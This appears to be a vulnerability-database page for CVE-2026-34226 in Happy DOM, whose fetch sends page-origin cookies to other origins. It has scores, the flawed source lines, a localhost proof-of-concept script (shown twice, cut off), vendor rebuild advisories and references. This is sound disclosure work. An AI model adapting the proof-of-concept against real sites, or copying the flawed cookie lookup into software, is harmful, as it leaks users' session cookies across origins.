CVE-2026-34226
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.
- Record
CVE-2026-34226- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-201, CWE-359, CWE-201
- Updated
- 2026-11-02
EUVDEUVD-2026-16893
7.5
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.
- Record
EUVD-2026-16893- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-w4gp-fjgq-3q4g
7.5
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
…
- Record
GHSA-w4gp-fjgq-3q4g- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-201
- Updated
- 2026-11-02
NVD
7.5
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.
- Record
CVE-2026-34226- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-201, CWE-359
- Updated
- 2026-11-02
OSV
7.5
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.
- Record
CVE-2026-34226- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-201, CWE-359
- Updated
- 2026-11-02
OSVGHSA-w4gp-fjgq-3q4g
7.5
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Summary
happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.
Details
In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:
const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
originURL,
false
);
Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).
PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');
async function listen(server, host) {
return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}
async function run() {
let observedCookieHeader = null;
const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';
console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
console.log('Setup:');
console.log(` Page Origin Host : ${pageHost}`);
console.log(` Request Target Host: ${apiHost}`);
console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)');
console.log('');
await dns.lookup(pageHost);
await dns.lookup(apiHost);
const pageServer = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'text/plain' });
res.end('page host');
});
const apiServer = http.createServer((req, res) => {
observedCookieHeader = req.headers.cookie || '';
const origin = req.headers.origin || '';
res.writeHead(200, {
'content-type': 'application/json',
'access-control-allow-origin': origin,
'access-control-allow-credentials': 'true'
});
res.end(JSON.stringify({ ok: true }));
});
const pagePort = await listen(pageServer, '127.0.0.1');
const apiPort = await listen(apiServer, '127.0.0.1');
const browser = new Browser();
try {
const context = browser.defaultContext;
// Page host: pageHost (local DNS)
const page = context.newPage();
page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';
// Target host: apiHost (local DNS)
const apiSeedPage = context.newPage();
apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';
// Trigger cross-host request with credentials.
const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
credentials: 'include'
});
await res.text();
const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');
console.log('Expected:');
console.log(' Request to target host should include "api_cookie=API_ONLY".');
console.log(' Request should NOT include "page_cookie=PAGE_ONLY".');
console.log('');
console.log('Actual:');
console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`);
console.log(` includes page_cookie: ${leakedPageCookie}`);
console.log(` includes api_cookie : ${expectedApiCookie}`);
console.log('');
if (leakedPageCookie && !expectedApiCookie) {
console.log('Result: VULNERABLE behavior reproduced.');
process.exitCode = 0;
…
- Record
GHSA-w4gp-fjgq-3q4g- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-201
- Updated
- 2026-11-02
Show 13 moreShow less
OSVCLSA-2026-1782781184 No score
TuxCare security update for happy-dom (3 CVEs)
TuxCare rebuilt happy-dom to address 3 CVEs. Fixed in 9.10.9-tuxcare.1.
- Record
CLSA-2026-1782781184- Updated
- 2026-11-02
OSVCLSA-2026-1787835578 No score
TuxCare security update for happy-dom (2 CVEs)
TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.1.
- Record
CLSA-2026-1787835578- Updated
- 2026-11-02
OSVCLSA-2026-1790598377 No score
TuxCare security update for happy-dom (1 CVE)
TuxCare rebuilt happy-dom to address 1 CVE. Fixed in 9.20.3-tuxcare.4.
- Record
CLSA-2026-1790598377- Updated
- 2026-11-02
OSVCLSA-2026-1792191308 No score
TuxCare security update for happy-dom (1 CVE)
TuxCare rebuilt happy-dom to address 1 CVE. Fixed in 20.8.8-tuxcare.1.
- Record
CLSA-2026-1792191308- Updated
- 2026-11-02
OSVCLSA-2026-1792254607 No score
TuxCare security update for @happy-dom/global-registrator (3 CVEs)
TuxCare rebuilt @happy-dom/global-registrator to address 3 CVEs. Fixed in 9.10.9-tuxcare.1.
- Record
CLSA-2026-1792254607- Updated
- 2026-11-02
OSVCLSA-2026-1792254618 No score
TuxCare security update for @happy-dom/global-registrator (2 CVEs)
TuxCare rebuilt @happy-dom/global-registrator to address 2 CVEs. Fixed in 15.11.7-tuxcare.1.
- Record
CLSA-2026-1792254618- Updated
- 2026-11-02
OSVCLSA-2026-1792254633 No score
TuxCare security update for @happy-dom/global-registrator (1 CVE)
TuxCare rebuilt @happy-dom/global-registrator to address 1 CVE. Fixed in 9.20.3-tuxcare.4.
- Record
CLSA-2026-1792254633- Updated
- 2026-11-02
OSVCLSA-2026-1792254634 No score
TuxCare security update for @happy-dom/global-registrator (1 CVE)
TuxCare rebuilt @happy-dom/global-registrator to address 1 CVE. Fixed in 20.8.8-tuxcare.1.
- Record
CLSA-2026-1792254634- Updated
- 2026-11-02
OSVCLSA-2026-1792866906 No score
TuxCare security update for @happy-dom/jest-environment (3 CVEs)
TuxCare rebuilt @happy-dom/jest-environment to address 3 CVEs. Fixed in 9.10.9-tuxcare.1.
- Record
CLSA-2026-1792866906- Updated
- 2026-11-02
OSVCLSA-2026-1792866907 No score
TuxCare security update for @happy-dom/jest-environment (3 CVEs)
TuxCare rebuilt @happy-dom/jest-environment to address 3 CVEs. Fixed in 14.12.3-tuxcare.2.
- Record
CLSA-2026-1792866907- Updated
- 2026-11-02
OSVCLSA-2026-1792866938 No score
TuxCare security update for @happy-dom/jest-environment (2 CVEs)
TuxCare rebuilt @happy-dom/jest-environment to address 2 CVEs. Fixed in 15.11.7-tuxcare.1.
- Record
CLSA-2026-1792866938- Updated
- 2026-11-02
OSVCLSA-2026-1792866974 No score
TuxCare security update for @happy-dom/jest-environment (1 CVE)
TuxCare rebuilt @happy-dom/jest-environment to address 1 CVE. Fixed in 9.20.3-tuxcare.4.
- Record
CLSA-2026-1792866974- Updated
- 2026-11-02
OSVCLSA-2026-1792866976 No score
TuxCare security update for @happy-dom/jest-environment (1 CVE)
TuxCare rebuilt @happy-dom/jest-environment to address 1 CVE. Fixed in 20.8.8-tuxcare.1.
- Record
CLSA-2026-1792866976- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
happy-domnpm |
before 20.8.9 | 20.8.9 |
happy-domTuxCare:npm From an advisory covering 3 CVEs |
9.10.9-tuxcare.0 up to 9.10.9-tuxcare.1, plus listed versions 9.10.9 |
9.10.9-tuxcare.1 |
happy-domTuxCare:npm From an advisory covering 2 CVEs |
15.11.7-tuxcare.0 up to 15.11.7-tuxcare.1, plus listed versions 15.11.7 |
15.11.7-tuxcare.1 |
happy-domTuxCare:npm |
9.20.3-tuxcare.0 up to 9.20.3-tuxcare.4, plus listed versions 9.20.39.20.3-tuxcare.19.20.3-tuxcare.29.20.3-tuxcare.3 |
9.20.3-tuxcare.4 |
happy-domTuxCare:npm |
20.8.8-tuxcare.0 up to 20.8.8-tuxcare.1, plus listed versions 20.8.8 |
20.8.8-tuxcare.1 |
@happy-dom/global-registratorTuxCare:npm From an advisory covering 3 CVEs |
9.10.9-tuxcare.0 up to 9.10.9-tuxcare.1, plus listed versions 9.10.9 |
9.10.9-tuxcare.1 |
@happy-dom/global-registratorTuxCare:npm From an advisory covering 2 CVEs |
15.11.7-tuxcare.0 up to 15.11.7-tuxcare.1, plus listed versions 15.11.7 |
15.11.7-tuxcare.1 |
@happy-dom/global-registratorTuxCare:npm |
9.20.3-tuxcare.0 up to 9.20.3-tuxcare.4, plus listed versions 9.20.39.20.3-tuxcare.19.20.3-tuxcare.29.20.3-tuxcare.3 |
9.20.3-tuxcare.4 |
@happy-dom/global-registratorTuxCare:npm |
20.8.8-tuxcare.0 up to 20.8.8-tuxcare.1, plus listed versions 20.8.8 |
20.8.8-tuxcare.1 |
@happy-dom/jest-environmentTuxCare:npm From an advisory covering 3 CVEs |
9.10.9-tuxcare.0 up to 9.10.9-tuxcare.1, plus listed versions 9.10.9 |
9.10.9-tuxcare.1 |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@happy-dom/jest-environmentTuxCare:npm From an advisory covering 3 CVEs |
14.12.3-tuxcare.0 up to 14.12.3-tuxcare.2, plus listed versions 14.12.3 |
14.12.3-tuxcare.2 |
@happy-dom/jest-environmentTuxCare:npm From an advisory covering 2 CVEs |
15.11.7-tuxcare.0 up to 15.11.7-tuxcare.1, plus listed versions 15.11.7 |
15.11.7-tuxcare.1 |
@happy-dom/jest-environmentTuxCare:npm |
9.20.3-tuxcare.0 up to 9.20.3-tuxcare.4, plus listed versions 9.20.39.20.3-tuxcare.19.20.3-tuxcare.29.20.3-tuxcare.3 |
9.20.3-tuxcare.4 |
@happy-dom/jest-environmentTuxCare:npm |
20.8.8-tuxcare.0 up to 20.8.8-tuxcare.1, plus listed versions 20.8.8 |
20.8.8-tuxcare.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-34226 is a high vulnerability (CVSS 7.5) in Capricorn86 Happy Dom, published March 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.47%, the 40th percentile. Fixed in happy-dom 20.8.9.
References
github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g
github.com/capricorn86/happy-dom/pull/2117
github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751
github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts
github.com/capricorn86/happy-dom/releases/tag/v20.8.9
access.redhat.com/security/cve/CVE-2026-34226
Show 6 moreShow less
bugzilla.redhat.com/show_bug.cgi?id=2452519
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34226.json
nvd.nist.gov/vuln/detail/CVE-2026-34226
github.com/advisories/GHSA-w4gp-fjgq-3q4g
github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34226.json
github.com/capricorn86/happy-dom
Left out here: the rest of 2 source descriptions. The JSON record has them.